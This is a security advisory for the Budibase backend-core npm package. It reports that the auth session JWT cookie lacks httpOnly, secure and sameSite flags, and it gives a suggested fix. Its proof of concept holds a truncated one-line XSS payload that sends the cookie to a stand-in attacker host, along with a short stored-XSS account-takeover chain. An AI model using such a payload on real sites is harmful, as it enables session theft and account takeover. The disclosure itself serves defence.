Auth session cookie set with httpOnly:false — any XSS leads to full account takeover

High **mjashanks** published **GHSA-4f9j-vr4p-642r** 2 weeks ago

Package

@budibase/backend-core (npm)

Affected versions

<3.35.10

Patched versions

3.35.10

Description

Summary

The `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.

The cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.

Details

`packages/backend-core/src/utils/utils.ts`, lines 215-226:

```
const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: false,     // ← JavaScript can read the session JWT
  overwrite: true,
}

if (env.COOKIE_DOMAIN) {
  config.domain = env.COOKIE_DOMAIN
```

```
}

ctx.cookies.set(name, value, config)
```

This function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.

Missing flags:

- `httpOnly: false` → should be `true` (prevent JS access)
- No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments)
- No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`)

PoC

Any XSS payload can steal the session:

```
// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(docume
```

With `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.

Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:

1. Create an entity with a name containing `<script>` payload
2. Any user who views that entity has their JWT stolen
3. Attacker uses the JWT for persistent account access

Impact

Every XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."

This affects all Budibase deployments since the cookie configuration is hardcoded.

Additional Context

While auditing the codebase for GHSA-vfw2-j4r3-xcpm and GHSA-mf52-mqxj-9c37 (the two SSRF findings I submitted earlier today), I came across several other security issues across the server, worker, and backend-core packages. The areas affected include authentication, authorization, encryption, database integrations, and the plugin system.

I don't want to overwhelm you, so I'm reporting the most critical ones first. Here's a quick summary of what else I found — happy to share full details and reproduction steps for each whenever you're ready:

Critical:

- tar-fs 2.1.4 used for plugin/template extraction — known zip-slip vulnerability (CVE in tar-fs)
- Missing authorization on `/api/attachments/:datasourceId/url` — any user generates S3 signed upload URLs

High:

- SSO account linking falls back to email matching without checking `email_verified` — account takeover via SSO
- SQL injection in column rename operations for MySQL and MSSQL (`sqlTable.ts:278,303`)
- Cross-workspace resource duplication without authorization on target workspace
- Datasource `update` endpoint requires only TABLE READ permission instead of BUILDER
- SSRF in `uploadUrl()` at `fileUtils.ts:23` — raw `fetch()` with no blacklist
- Credentials (DB passwords, API keys) included unfiltered in workspace exports

Each of these has been verified against the latest source code with exact file paths and line numbers. Let me know how you'd like me to share them — I can submit individual advisories or send a consolidated report, whatever works best for your team.

Suggested Fix

```
const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: true,      // prevent JavaScript access
  secure: true,        // only send over HTTPS
  sameSite: 'lax',     // prevent cross-site attachment
  overwrite: true,
}
```

OTHER FORM FIELDS

Ecosystem: npm

Package name: @budibase/backend-core

Affected versions: all

Patched versions: (leave blank)

Severity: High

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

CWE: CWE-1004 (Sensitive Cookie Without 'HttpOnly' Flag)

ATTACHMENTS

BUDIBASE-TOP10-REPORT.md

Severity

High 8.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	Required
Scope	Changed
Confidentiality	High
Integrity	High
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

CVE ID

CVE-2026-42239

Weaknesses

▶ CWE-1004

Credits

AyushParkara Reporter